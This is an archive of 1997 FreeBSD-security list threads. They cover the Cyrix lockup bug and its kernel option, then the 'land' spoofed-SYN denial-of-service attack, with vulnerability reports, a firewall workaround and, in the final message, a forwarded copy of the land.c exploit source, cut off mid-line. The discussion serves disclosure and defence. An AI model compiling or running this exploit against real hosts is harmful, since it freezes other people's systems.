From owner-freebsd-security Tue Nov 18 01:55:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA09071 for security-outgoing; Tue, 18 Nov 1997 01:55:10 -0800 (PST) (envelope-from owner-freebsd-security) Received: from itesec.hsc.fr (root@itesec.hsc.fr [192.70.106.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA09042 for ; Tue, 18 Nov 1997 01:54:36 -0800 (PST) (envelope-from pb@hsc.fr) Received: from mars.hsc.fr (pb@mars.hsc.fr [192.70.106.44]) by itesec.hsc.fr (8.8.8/8.8.5/itesec-1.10-nospam) with ESMTP id KAA09027 for ; Tue, 18 Nov 1997 10:54:18 +0100 (MET) Received: (from pb@localhost) by mars.hsc.fr (8.8.5/8.8.5/pb-19970301) id KAA13057; Tue, 18 Nov 1997 10:54:18 +0100 (MET) Message-ID: <19971118105417.FC32400@mars.hsc.fr> Date: Tue, 18 Nov 1997 10:54:17 +0100 From: Pierre.Beyssac@hsc.fr (Pierre Beyssac) To: freebsd-security@freebsd.org Subject: now a Cyrix processor bug X-Mailer: Mutt 0.59.1e Mime-Version: 1.0 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Has anynone seen this? There seems to be a bug on the Cyrix, similar but not identical to the Pentium's. However the workaround on the Cyrix is apparently much simpler (you only need to disable LOCK mode in the CCR, if I understood the fix right). -----Forwarded message from troy@dakota.net (Troy)----- From: "Troy" Date: Fri, 14 Nov 1997 01:09:32 -0600 Message-Id: <01bcf0cc$4177dbe0$0201a8c0@odin.mountaintop.org> To: best-of-security@cyber.com.au Luckily, there is a fix for the Cyrix lockup bug: http://www.tux.org/~balsa/linux/cyrix/p11.html ------- Forwarded Message Follows ------ Date: Thu, 13 Nov 1997 20:34:32 -0500 (EST) To: web-consultants@just4u.com From: Rainmaker Reply-to: web-consultants@just4u.com Subject: WC:>: More chip problems BUGS GALORE: INTEL, CYRIX FIGHT GLITCHES IN THEIR CHIPS http://www.news.com/News/Item/0%2C4%2C16312%2C00.html?nd (Intel) http://www.news.com/News/Item/0%2C4%2C16347%2C00.html?nd (Cyrix) This week, the chip world seems to have more bugs than Starship Troopers. Intel has posted a bug fix for Linux servers for its "FO" bug, and a chip from Cyrix may have a bug similar to Intel's --------------------- Linux - Where do you want to go tomorrow? http://www.debian.org t r o y @ d a k o t a . n e t http://www.dakota.net/~troy -----End of forwarded message----- -- Pierre.Beyssac@hsc.fr From owner-freebsd-security Tue Nov 18 02:30:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA11269 for security-outgoing; Tue, 18 Nov 1997 02:30:35 -0800 (PST) (envelope-from owner-freebsd-security) Received: from gneiss.eps.nagoya-u.ac.jp (gneiss.eps.nagoya-u.ac.jp [133.6.57.99]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA11264 for ; Tue, 18 Nov 1997 02:30:32 -0800 (PST) (envelope-from kato@eclogite.eps.nagoya-u.ac.jp) Received: from marble.eps.nagoya-u.ac.jp (localhost [127.0.0.1]) by gneiss.eps.nagoya-u.ac.jp (8.8.8/3.6Wbeta7) with ESMTP id TAA06758; Tue, 18 Nov 1997 19:30:18 +0900 (JST) Message-Id: <199711181030.TAA06758@gneiss.eps.nagoya-u.ac.jp> To: Pierre.Beyssac@hsc.fr Cc: freebsd-security@freebsd.org Subject: Re: now a Cyrix processor bug From: KATO Takenori In-Reply-To: Your message of "Tue, 18 Nov 1997 10:54:17 +0100" References: <19971118105417.FC32400@mars.hsc.fr> X-Mailer: Mew version 1.70 on Emacs 19.28.1 / Mule 2.3 X-PGP-Fingerprint: 03 72 85 36 62 46 23 03 52 B1 10 22 44 10 0D 9E Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 18 Nov 1997 19:30:17 +0900 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Has anynone seen this? > > There seems to be a bug on the Cyrix, similar but not identical > to the Pentium's. However the workaround on the Cyrix is apparently > much simpler (you only need to disable LOCK mode in the CCR, if I > understood the fix right). 3.0-current and RELENG_2_2 (including 2.2.5) have following option: CPU_CYRIX_NO_LOCK which enables weak locking. Because I didn't know of the Coma bug, and recomended setting of NO_LOCK bit is 0 in the BIOS writer's guide, NO_LOCK bit is not modified when above option is not set. Because SMP of FreeBSD doesn't support non-Intel chipsets, CPU_CYRIX_NO_LOCK options may have no harmful effect. Also, another fix via special registers is propsed. But, Cyrix doesn't disclose the meanings of such registers. When Cyrix discloses the meaning of registers, I will implement latter fix. ---- KATO Takenori Dept. Earth Planet. Sci., Nagoya Univ., Nagoya, 464-01, Japan PGP public key: finger kato@eclogite.eps.nagoya-u.ac.jp ------------------- Powered by FreeBSD(98) ------------------- From owner-freebsd-security Tue Nov 18 02:41:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA12068 for security-outgoing; Tue, 18 Nov 1997 02:41:50 -0800 (PST) (envelope-from owner-freebsd-security) Received: from mp.EUnet-Bretagne.fr ([193.107.210.130]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA12062 for ; Tue, 18 Nov 1997 02:41:40 -0800 (PST) (envelope-from Eric.Feillant@EUnet-Bretagne.fr) Received: from ericf.EUnet-Bretagne.fr (ericf.EUnet-Bretagne.fr [193.107.210.161]) by mp.EUnet-Bretagne.fr (8.8.7/8.8.7) with SMTP id LAA15647; Tue, 18 Nov 1997 11:53:45 GMT Message-ID: <347175C3.4C8B@EUnet-Bretagne.fr> Date: Tue, 18 Nov 1997 12:02:27 +0100 From: Eric Feillant Reply-To: Eric.Feillant@EUnet-Bretagne.fr Organization: EUnet BRETAGNE groupe EUnet X-Mailer: Mozilla 3.01 (Win95; I) MIME-Version: 1.0 To: Pierre Beyssac CC: freebsd-security@FreeBSD.ORG Subject: Re: now a Cyrix processor bug References: <19971118105417.FC32400@mars.hsc.fr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Pierre Beyssac wrote: > > Has anynone seen this? > > There seems to be a bug on the Cyrix, similar but not identical > to the Pentium's. However the workaround on the Cyrix is apparently > much simpler (you only need to disable LOCK mode in the CCR, if I > understood the fix right). > > -----Forwarded message from troy@dakota.net (Troy)----- > > From: "Troy" > Date: Fri, 14 Nov 1997 01:09:32 -0600 > Message-Id: <01bcf0cc$4177dbe0$0201a8c0@odin.mountaintop.org> > To: best-of-security@cyber.com.au > > Luckily, there is a fix for the Cyrix lockup bug: > > http://www.tux.org/~balsa/linux/cyrix/p11.html > > ------- Forwarded Message Follows ------ > Date: Thu, 13 Nov 1997 20:34:32 -0500 (EST) > To: web-consultants@just4u.com > From: Rainmaker > Reply-to: web-consultants@just4u.com > Subject: WC:>: More chip problems > BUGS GALORE: INTEL, CYRIX FIGHT GLITCHES IN THEIR CHIPS > http://www.news.com/News/Item/0%2C4%2C16312%2C00.html?nd (Intel) > http://www.news.com/News/Item/0%2C4%2C16347%2C00.html?nd (Cyrix) > This week, the chip world seems to have more bugs than Starship > Troopers. > Intel has posted a bug fix for Linux servers for its "FO" bug, and a chip > from Cyrix may have a bug similar to Intel's > --------------------- > Linux - Where do you want to go tomorrow? > http://www.debian.org > t r o y @ d a k o t a . n e t > http://www.dakota.net/~troy > > -----End of forwarded message----- > > -- > Pierre.Beyssac@hsc.fr does anyone know FreeBSD on a Pentium II /233 MHZ problem ? Eric. -- ========= ____ ===== Eric Feillant ======== / / / ___ ___ /_ ====== EUnet BRETAGNE ======= /---- / / / / /___/ / ======= 140, bd de Creach Gwen ====== /____ /___/ / / /___ /_ ======== 29000 QUIMPER, France ===== Bretagne ========= Tel:(+33) 298101620 Fax:(+33) 298101629 Eric.Feillant@EUnet.fr http://www.EUnet.fr Partenaire CISCO, CHECKPOINT (FIREWALL), BAY NETWORKS, NEWBRIDGE, SUN, CITRIX From owner-freebsd-security Tue Nov 18 03:35:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA14995 for security-outgoing; Tue, 18 Nov 1997 03:35:19 -0800 (PST) (envelope-from owner-freebsd-security) Received: from norden1.com (norden1.com [192.153.35.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA14984 for ; Tue, 18 Nov 1997 03:35:15 -0800 (PST) (envelope-from hometeam@techpower.net) Received: from techpower.net (hometeam@techpower.net [206.244.73.241]) by norden1.com (8.8.8/8.8.8) with ESMTP id GAA10927; Tue, 18 Nov 1997 06:36:03 -0500 (EST) Received: from localhost (hometeam@localhost) by techpower.net (8.8.8/8.8.5) with SMTP id GAA09710; Tue, 18 Nov 1997 06:39:21 GMT Date: Tue, 18 Nov 1997 06:39:21 +0000 (GMT) From: homey To: KATO Takenori cc: Pierre.Beyssac@hsc.fr, freebsd-security@freebsd.org Subject: Re: now a Cyrix processor bug In-Reply-To: <199711181030.TAA06758@gneiss.eps.nagoya-u.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Would this be added to the config file in the kernel or can this be added to rc.local also? CPU_CYRIX_NO_LOCK Also is there any info on the options for cyrix in freebsd? hometeam@techpower.net --We cannot all be masters, nor all masters Cannot be truly follow'd-- -----BEGIN PGP MESSAGE----- Version: 2.6.2 owEBqwBU/4kAlQMFADRCxNWhsddKSTR+6QEBelED/jzeC3btZfqSdIfrNoCgwUJJ iNQ33UQoMyJ2ygkfl72xP5J79yml/F4P73GnNaDVbaMOmOG2NNAi5ElE73wRh54U 17kH+n5XnYeqekV8T2TG2Q6ex3UotXPyZ1vvrCrSxapOz6a4hh0GQeA55rcwLy2W ROHwxfvaVsrX5iVOkRoerBFiC21lc3NhZ2UudHh0AAAAAA== =jCvF -----END PGP MESSAGE----- On Tue, 18 Nov 1997, KATO Takenori wrote: > > Has anynone seen this? > > > > There seems to be a bug on the Cyrix, similar but not identical > > to the Pentium's. However the workaround on the Cyrix is apparently > > much simpler (you only need to disable LOCK mode in the CCR, if I > > understood the fix right). > > 3.0-current and RELENG_2_2 (including 2.2.5) have following option: > > CPU_CYRIX_NO_LOCK > > which enables weak locking. Because I didn't know of the Coma bug, > and recomended setting of NO_LOCK bit is 0 in the BIOS writer's guide, > NO_LOCK bit is not modified when above option is not set. Because SMP > of FreeBSD doesn't support non-Intel chipsets, CPU_CYRIX_NO_LOCK > options may have no harmful effect. > > Also, another fix via special registers is propsed. But, Cyrix > doesn't disclose the meanings of such registers. When Cyrix discloses > the meaning of registers, I will implement latter fix. > > ---- > KATO Takenori > Dept. Earth Planet. Sci., Nagoya Univ., Nagoya, 464-01, Japan > PGP public key: finger kato@eclogite.eps.nagoya-u.ac.jp > ------------------- Powered by FreeBSD(98) ------------------- > From owner-freebsd-security Tue Nov 18 04:14:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA16997 for security-outgoing; Tue, 18 Nov 1997 04:14:49 -0800 (PST) (envelope-from owner-freebsd-security) Received: from gneiss.eps.nagoya-u.ac.jp (gneiss.eps.nagoya-u.ac.jp [133.6.57.99]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA16991 for ; Tue, 18 Nov 1997 04:14:38 -0800 (PST) (envelope-from kato@eclogite.eps.nagoya-u.ac.jp) Received: from marble.eps.nagoya-u.ac.jp (localhost [127.0.0.1]) by gneiss.eps.nagoya-u.ac.jp (8.8.8/3.6Wbeta7) with ESMTP id VAA06906; Tue, 18 Nov 1997 21:14:03 +0900 (JST) Message-Id: <199711181214.VAA06906@gneiss.eps.nagoya-u.ac.jp> To: hometeam@techpower.net Cc: freebsd-security@FreeBSD.ORG Subject: Re: now a Cyrix processor bug From: KATO Takenori In-Reply-To: Your message of "Tue, 18 Nov 1997 06:39:21 +0000 (GMT)" References: X-Mailer: Mew version 1.70 on Emacs 19.28.1 / Mule 2.3 X-PGP-Fingerprint: 03 72 85 36 62 46 23 03 52 B1 10 22 44 10 0D 9E Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 18 Nov 1997 21:14:02 +0900 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > CPU_CYRIX_NO_LOCK This is a kernel configuration option. Cyrix options in FreeBSD are described in /sys/i386/conf/LINT. (from LINT) # CPU_BTB_EN enables branch target buffer on Cyrix 5x86 (NOTE 1). # # CPU_DIRECT_MAPPED_CACHE set L1 cache of Cyrix 486DLC CPU in direct # mapped mode. Default is 2-way set associative mode. # # CPU_CYRIX_NO_LOCK enables weak locking for the entire address space # of Cyrix 6x86 and 6x86MX CPUs. If this option is not set and # FAILESAFE is defined, NO_LOCK bit of CCR1 is cleared. (NOTE 3) # # CPU_DISABLE_5X86_LSSER disables load store serialize (i.e. enables # reorder). This option should not be used if you use memory mapped # I/O device(s). # # CPU_FASTER_5X86_FPU enables faster FPU exception handler. # # CPU_IORT defines I/O clock delay time (NOTE 1). Default vaules of # I/O clock delay time on Cyrix 5x86 and 6x86 are 0 and 7,respectively # (no clock delay). # # CPU_LOOP_EN prevents flushing the prefetch buffer if the destination # of a jump is already present in the prefetch buffer on Cyrix 5x86(NOTE # 1). # # CPU_RSTK_EN enables return stack on Cyrix 5x86 (NOTE 1). # # CPU_SUSP_HLT enables suspend on HALT. If this option is set, CPU # enters suspend mode following execution of HALT instruction. # # CPU_WT_ALLOC enables write-through allocation. # # CYRIX_CACHE_WORKS enables CPU cache on Cyrix 486 CPUs with cache # flush at hold state. # # CYRIX_CACHE_REALLY_WORKS enables (1) CPU cache on Cyrix 486 CPUs # without cache flush at hold state, and (2) write-back CPU cache on # Cyrix 6x86 whose revision < 2.7 (NOTE 2). # # NOTE 1: The options, CPU_BTB_EN, CPU_LOOP_EN, CPU_IORT, # CPU_LOOP_EN and CPU_RSTK_EN should no be used becasue of CPU bugs. # These options may crash your system. # # NOTE 2: If CYRIX_CACHE_REALLY_WORKS is not set, CPU cache is enabled # in write-through mode when revision < 2.7. If revision of Cyrix # 6x86 >= 2.7, CPU cache is always enabled in write-back mode. # # NOTE 3: This option may cause failures for software that requires # locked cycles in order to operate correctly. ---- KATO Takenori Dept. Earth Planet. Sci., Nagoya Univ., Nagoya, 464-01, Japan PGP public key: finger kato@eclogite.eps.nagoya-u.ac.jp ------------------- Powered by FreeBSD(98) ------------------- From owner-freebsd-security Thu Nov 20 09:30:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA20057 for security-outgoing; Thu, 20 Nov 1997 09:30:30 -0800 (PST) (envelope-from owner-freebsd-security) Received: from fledge.watson.org (root@FLEDGE.RES.CMU.EDU [128.2.91.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA20047 for ; Thu, 20 Nov 1997 09:30:21 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from cyrus.watson.org (cyrus.pr.watson.org [192.0.2.4]) by fledge.watson.org (8.8.8/8.6.10) with SMTP id MAA16768 for ; Thu, 20 Nov 1997 12:30:11 -0500 (EST) Date: Thu, 20 Nov 1997 12:34:05 -0500 (EST) From: Robert Watson Reply-To: Robert Watson To: freebsd-security@freebsd.org Subject: Re: new TCP/IP bug in win95 (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This seems relevant, although no doubt by the time this arrives, others will have managed to foward this to the list :) Have not confirmed results, don't have any machines localy that I can afford to blow away. Robert N Watson Junior, Logic+Computation, Carnegie Mellon University http://www.cmu.edu/ Network Administrator, SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org rwatson@safeport.com http://www.watson.org/~robert/ ---------- Forwarded message ---------- Date: Thu, 20 Nov 1997 09:48:02 -0600 From: Aleph One To: BUGTRAQ@NETSPACE.ORG Subject: Re: new TCP/IP bug in win95 Lots of mail this morning concerning this issue. I'll summarize. Window for Workgroups 3.11 IS vulnerable. Windows 95 without Winsock2 and the VIP update IS vulnerable. Windows 95 with Winwosk 2 and the VIP update is NOT vulnerable. NT 4.0 with no Service Packs and Hot-Fixes IS vulnerable. NT 4.0 with Service Pack 3 goes to 100% CPU for about a minute and then goes back to normal. NT 4.0 with Service Pack 3 with all the hot-fixes (simpletcp+icmp) is NOT vulnerable. NeXTSTEP 3.0 IS reported as vulnerable. FreeBSD 2.2.5 IS reported as vulnerable. Linux 2.0.32 is NOT vulnerable. If any of you find that this information is incorrect please let me know. In particular I would like people to double check FreeBSD, and test NetBSD, BSDI, and OpenBSDI. Also, please, when you are reporting an affected OS include that exact version, patch level, serive packs, and hot-fixes installed. It is of no use is you simple state "it crashed NT". As John W. Temples pointed out this attack is rendered ineffective by filtering packets from the Internet through your gateway router which have source addresses on the network. Aleph One / aleph1@dfw.net http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 From owner-freebsd-security Thu Nov 20 10:18:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA23193 for security-outgoing; Thu, 20 Nov 1997 10:18:03 -0800 (PST) (envelope-from owner-freebsd-security) Received: from iskh122.haninge.kth.se (ul@iskh122.haninge.kth.se [130.237.83.122]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA23178 for ; Thu, 20 Nov 1997 10:17:55 -0800 (PST) (envelope-from dev.random@dev.random.nu) From: dev.random@dev.random.nu Received: from localhost (random@localhost) by iskh122.haninge.kth.se (8.8.7/8.8.7) with SMTP id TAA03690; Thu, 20 Nov 1997 19:15:45 +0100 (CET) (envelope-from dev.random@dev.random.nu) Date: Thu, 20 Nov 1997 19:15:45 +0100 (CET) X-Sender: random@iskh122.haninge.kth.se To: Robert Watson cc: freebsd-security@FreeBSD.ORG Subject: Re: new TCP/IP bug in win95 (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I actually didnt test it myself, but I had a 2.2.5-STABLE, 2.2.2-RELEASE, and 3.0-CURRENT box blown away all about in the same time period. The 2.2.5-RELENG & 2.1.7-RELEASE weren't blown away, but that was because the router was configured correctly to not allow outside packets claiming to be internal packets. However, on the boxes where I have no router access, I did this quick fix: ipfw add 1 deny log all from 130.237.83.122 to 130.237.83.122 via vx0 _________________________________________________________________ thomas stromberg % sysadmin(royal.institute.of.technology@haninge/stockholm) smtp(dev.random@dev.random.nu)%irc(devrandom)%talkd(random@dev.random.nu) From owner-freebsd-security Thu Nov 20 11:00:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA26793 for security-outgoing; Thu, 20 Nov 1997 11:00:46 -0800 (PST) (envelope-from owner-freebsd-security) Received: from bb-prg.eunet.cz (bb-prg.eunet.cz [193.85.1.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA26788 for ; Thu, 20 Nov 1997 11:00:42 -0800 (PST) (envelope-from Martin.Machacek@eunet.cz) Received: from kamna.eunet.cz (kamna.eunet.cz [193.85.255.30]) by bb-prg.eunet.cz (8.8.6.EUnet/EUnet-CZ) with SMTP id UAA28913 for ; Thu, 20 Nov 1997 20:00:33 +0100 (MET) Message-Id: <199711201900.UAA28913@bb-prg.eunet.cz> Received: (qmail 3854 invoked from network); 20 Nov 1997 19:00:32 -0000 Received: from woody.eunet.cz (HELO eunet.cz) (@193.85.255.60) by kamna.eunet.cz with SMTP; 20 Nov 1997 19:00:32 -0000 X-Mailer: exmh version 2.0zeta 7/24/97 To: freebsd-security@FreeBSD.ORG Subject: Re: new TCP/IP bug in win95 (fwd) In-reply-to: Your message of "Thu, 20 Nov 1997 12:34:05 EST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 20 Nov 1997 20:00:31 +0100 From: Martin Machacek Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > This seems relevant, although no doubt by the time this arrives, others > will have managed to foward this to the list :) > > Have not confirmed results, don't have any machines localy that I can > afford to blow away. I've tried the exploit against FreeBSD 2.2.2, 2.2.5 and 3.0-current and the results were interesting. FreeBSD 2.2.2 does not seem to be vulnerable, however both 2.2.5 and 3.0 froze. Another interesting thing is that the exploit cannot be run on FreeBSD (I've patched it to compile) because sendto even on raw socket plugs correct source address into the packet. I've also tried the exploit against BSD/OS 2.1 and it also froze. There was little difference in behaviour of FreeBSD and BSD/OS in the frozen state. FreeBSD at least responded to ICMP echo packets and also managed to establish TCP connections. I've tried telnet from other machine and it reported connected to ...(buit that was all). BSD/OS was totally dead, repsonding only to the reset switch. The problem is in my opinion not that critical because every decent network should have IP spoofs filtered on the external router, so packets with identical source and destination should not reach any inside machine (even not the TCP layer on the external router). > Windows 95 without Winsock2 and the VIP update IS vulnerable. Yes. > FreeBSD 2.2.5 IS reported as vulnerable. Unfortunately yes. Cheers, -- Martin Machacek [Internet CZ, Zirovnicka 6/3133, 106 00 Prague 10, Czech Republic] [phone: +420 2 24245624 fax: +420 2 24316598] [PGP KeyID 00F9E4BD] From owner-freebsd-security Thu Nov 20 11:33:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA29305 for security-outgoing; Thu, 20 Nov 1997 11:33:16 -0800 (PST) (envelope-from owner-freebsd-security) Received: from iskh122.haninge.kth.se (joy@iskh122.haninge.kth.se [130.237.83.122]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA29284 for ; Thu, 20 Nov 1997 11:32:40 -0800 (PST) (envelope-from dev.random@dev.random.nu) From: dev.random@dev.random.nu Received: from localhost (random@localhost) by iskh122.haninge.kth.se (8.8.7/8.8.7) with SMTP id UAA04786 for ; Thu, 20 Nov 1997 20:31:08 +0100 (CET) (envelope-from dev.random@dev.random.nu) Date: Thu, 20 Nov 1997 20:31:08 +0100 (CET) X-Sender: random@iskh122.haninge.kth.se To: freebsd-security@freebsd.org Subject: Re: new TCP/IP bug in win95 (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I've tried the exploit against FreeBSD 2.2.2, 2.2.5 and 3.0-current and the > results were interesting. FreeBSD 2.2.2 does not seem to be vulnerable, I had a good amount of my boxes attacked from outside sources. One of the 2.2.2 boxes did crash here as well. > > I've also tried the exploit against BSD/OS 2.1 and it also froze. There was > little difference in behaviour of FreeBSD and BSD/OS in the frozen > state. FreeBSD at least responded to ICMP echo packets and also managed to > establish TCP connections. I've tried telnet from other machine and it > reported connected to ...(buit that was all). BSD/OS was totally dead, > repsonding only to the reset switch. Hmm, the 3.0-CURRENT one is the only one I tried to ping, and it didnt seem to respond to ICMP's either. And I know in at least the cases of 2.2.2 & 2.2.5-STABLE, they responded to nothing but a reset button either. > > The problem is in my opinion not that critical because every decent network > should have IP spoofs filtered on the external router, so packets with > identical source and destination should not reach any inside machine (even > not the TCP layer on the external router). > This presents a bit of a problem with ISP's not having a router between their customers PPP connections and themselves. As anyone could have a Linux box sitting on their PPP connection and nail away. _________________________________________________________________ thomas stromberg % sysadmin(royal.institute.of.technology@haninge/stockholm) smtp(dev.random@dev.random.nu)%irc(devrandom)%talkd(random@dev.random.nu) From owner-freebsd-security Thu Nov 20 12:09:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA02794 for security-outgoing; Thu, 20 Nov 1997 12:09:26 -0800 (PST) (envelope-from owner-freebsd-security) Received: from biggusdiskus.flyingfox.com (biggusdiskus.flyingfox.com [206.14.52.27]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA02788 for ; Thu, 20 Nov 1997 12:09:23 -0800 (PST) (envelope-from jas@flyingfox.com) Received: (from jas@localhost) by biggusdiskus.flyingfox.com (8.8.5/8.8.5) id MAA29126; Thu, 20 Nov 1997 12:10:35 -0800 (PST) Date: Thu, 20 Nov 1997 12:10:35 -0800 (PST) From: Jim Shankland Message-Id: <199711202010.MAA29126@biggusdiskus.flyingfox.com> To: freebsd-security@freebsd.org, Martin.Machacek@eunet.cz Subject: Re: new TCP/IP bug in win95 (fwd) Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Martin Machacek writes: > I've tried the exploit against FreeBSD 2.2.2, 2.2.5 and 3.0-current > and the results were interesting. FreeBSD 2.2.2 does not seem to be > vulnerable, however both 2.2.5 and 3.0 froze. I'd appreciate a pointer to, or a mailed copy of, the actual exploit (I let my BUGTRAQ subscription lapse months ago). I've modified the FreeBSD TCP stack a bit, and want to see if I'm vulnerable, and fix it if so. > The problem is in my opinion not that critical because every decent network > should have IP spoofs filtered on the external router Uh huh :-). Well, this may increase the number of "decent networks." (And lest anyone get any bright ideas about testing this for me: yes, my network is "decent.") Jim Shankland Flying Fox Computer Systems, Inc. From owner-freebsd-security Thu Nov 20 12:58:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA06725 for security-outgoing; Thu, 20 Nov 1997 12:58:04 -0800 (PST) (envelope-from owner-freebsd-security) Received: from fledge.watson.org (root@FLEDGE.RES.CMU.EDU [128.2.91.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA06720 for ; Thu, 20 Nov 1997 12:58:00 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from cyrus.watson.org (cyrus.pr.watson.org [192.0.2.4]) by fledge.watson.org (8.8.8/8.6.10) with SMTP id PAA19080 for ; Thu, 20 Nov 1997 15:57:44 -0500 (EST) Date: Thu, 20 Nov 1997 16:01:45 -0500 (EST) From: Robert Watson Reply-To: Robert Watson To: freebsd-security@freebsd.org Subject: new TCP/IP bug in win95 (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk By popular request, here is the exploit code. I have been told that it will not work *from* BSD machines, although it will work *on* BSD machines. I have seen the exploit code successfully compiled (and used) on Linux machines against the following platforms: SunOS (not Solaris -- the version we have seems to be fine) HP/UX Interestingly, some machines continue to respond to pings, so the kernel is not completely in la-la land. Have not tested this on BSD myself. Would love a patch in -stable. Robert N Watson Junior, Logic+Computation, Carnegie Mellon University http://www.cmu.edu/ Network Administrator, SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org rwatson@safeport.com http://www.watson.org/~robert/ ---------- Forwarded message ---------- Date: Thu, 20 Nov 1997 19:40:19 -0500 From: m3lt To: BUGTRAQ@NETSPACE.ORG Subject: new TCP/IP bug in win95 hi, i recently discovered a bug which freezes win95 boxes. here's how it works: send a spoofed packet with the SYN flag set from a host, on an open port (such as 113 or 139), setting as source the SAME host and port (ie: 10.0.0.1:139 to 10.0.0.1:139). this will cause the win95 machine to lock up. the piece of code included in this message does that, so... have fun! i haven't tested this bug on other platforms, i don't have the ressources. please feel free to do so. m3lt meltman@lagged.net --- snip snip ----------------------------------------------------------- /* land.c by m3lt, FLC crashes a win95 box */ #include #include #include #include #include #include #include #include #include struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } int main(int argc,char * * argv) { struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheader; fprintf(stderr,"land.c by m3lt, FLC\n"); if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); } bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); } if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->version=4; ipheader->ihl=sizeof(struct iphdr)/4; ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->id=htons(0xF1C); ipheader->ttl=255; ipheader->protocol=IP_TCP; ipheader->saddr=sin.sin_addr.s_addr; ipheader->daddr=sin.sin_addr.s_addr; tcpheader->th_sport=sin.sin_port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) 